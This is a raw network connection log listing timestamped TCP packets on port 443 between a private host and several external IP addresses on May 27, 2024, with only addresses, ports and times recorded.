May 27, 2024 19:30:44.514611959 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.517122984 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.517179966 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.517262936 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.517545938 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.517568111 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535468102 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535516024 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535558939 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535609961 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.535626888 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535676003 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535712004 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.535902977 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535948992 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.535986900 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.536022902 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.536077976 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.536077976 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.536139965 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.536200047 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.536660910 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.536746979 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.536870956 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.536886930 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.583830118 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:44.583879948 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:44.583966970 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:44.584252119 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:44.584268093 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:44.585592985 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.585611105 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.627815008 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.627871037 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.627917051 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.627954960 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.627993107 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628103971 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.628103971 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.628103971 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.628174067 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628757000 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628801107 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628823042 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.628839970 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628914118 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.628926992 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.628950119 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.629009008 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.629178047 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.629206896 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.632174015 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.632214069 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.632293940 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.632570028 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.632589102 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.907111883 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.907531977 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.907552004 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.908432961 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.908524990 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.909122944 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.909173012 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.909573078 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.909579039 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.936836958 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.937252045 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.937308073 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.937805891 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.938163042 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.938255072 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.938335896 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.950109005 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.950417042 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.950428009 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.950575113 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.950721979 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.951126099 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.951176882 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.951303005 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.967397928 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.967680931 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.967698097 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.968576908 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.968652010 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.969058037 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.969127893 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.969351053 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.969367027 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.982497931 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.994530916 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.014563084 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.016923904 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.017298937 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.017323971 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.020447969 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.020539999 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.020797968 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.020881891 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.020962954 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.020968914 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.061597109 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.068386078 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.068491936 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.068555117 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.069762945 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.069799900 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.085999012 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.086055994 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.086111069 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.086124897 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.086134911 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.086174011 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.087028027 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.087038040 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122045994 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122082949 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122131109 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122158051 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122294903 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.122296095 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.122360945 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122695923 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.122759104 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.123226881 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.123255014 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.132227898 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.132730961 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.132754087 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.136357069 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.136447906 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.136732101 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.136874914 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.136909962 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151426077 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151550055 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151618004 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151623964 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.151660919 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151721954 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.151736021 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151807070 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.151868105 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.152200937 CEST	55958	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.152226925 CEST	443	55958	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.166246891 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:45.166320086 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:45.166373968 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:45.167061090 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:45.167069912 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:45.187603951 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.187621117 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.229804039 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.230154991 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.230200052 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.231683969 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.231775999 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.232037067 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.232125044 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.232253075 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.232269049 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.235584974 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.278404951 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278664112 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278703928 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278728962 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.278733969 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278747082 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278778076 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.278947115 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278978109 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.278995037 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.279011011 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.279064894 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.279077053 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.279792070 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.279827118 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.279844999 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.279856920 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.279932022 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.279942989 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.282699108 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.330602884 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.370796919 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371026039 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371093035 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.371115923 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371526003 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371576071 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.371587992 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371676922 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371736050 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.371747017 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371825933 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371886969 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.371897936 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.371989965 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.372044086 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.372055054 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.372180939 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.372241974 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.372401953 CEST	55960	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:45.372423887 CEST	443	55960	104.21.96.107	192.168.2.16
May 27, 2024 19:30:45.397193909 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:45.617604971 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.617706060 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.617770910 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.617788076 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.617818117 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.617851019 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.617897987 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.617950916 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.617983103 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.631372929 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.631463051 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.631479025 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.635766983 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.635843992 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.635983944 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.636054993 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.636142015 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.705555916 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.705699921 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.705760956 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.705782890 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.706216097 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.706275940 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.706285954 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.712361097 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.712418079 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.712426901 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.719501019 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.719567060 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.719578028 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.724708080 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.724778891 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.724788904 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.735203028 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.735275984 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.735291004 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.739744902 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.739809990 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.739819050 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.744914055 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.744980097 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.744988918 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.748707056 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.748775959 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.748795986 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.755573988 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.755640984 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.755660057 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794106960 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794207096 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.794226885 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794516087 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794569969 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.794583082 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794667006 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.794712067 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.794720888 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.795212030 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.795263052 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.795272112 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.795367002 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.795423031 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.795430899 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.801134109 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.801204920 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.801214933 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.805332899 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.805586100 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.805596113 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.811053038 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.811129093 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.811140060 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.817337036 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.817414999 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.817424059 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.824938059 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.825011969 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.825032949 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.830692053 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.830756903 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.830766916 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.835221052 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.835308075 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.835323095 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.839546919 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.839778900 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.839793921 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.843703985 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.843799114 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.843817949 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.849277020 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.849363089 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.849379063 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.852768898 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.852854967 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.852957010 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.852974892 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.853099108 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.856978893 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.860894918 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.860981941 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.861004114 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.861020088 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.861077070 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.865933895 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.866653919 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.866720915 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.866738081 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.866753101 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.866806030 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.870058060 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.873141050 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.873272896 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.873289108 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.884872913 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.884964943 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.885055065 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.885078907 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.885102034 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.885128975 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.885207891 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.885263920 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.885277033 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.886796951 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.886868954 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.886882067 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.888398886 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.888484001 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.888498068 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.890533924 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.890619993 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.890633106 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.890650034 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.890712023 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.893594027 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.895275116 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.895380974 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.895382881 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.895410061 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.895462036 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.903176069 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.903359890 CEST	443	55959	172.217.18.4	192.168.2.16
May 27, 2024 19:30:45.903422117 CEST	55959	443	192.168.2.16	172.217.18.4
May 27, 2024 19:30:45.903438091 CEST	443	55959	172.217.18.4	192.168.2.16
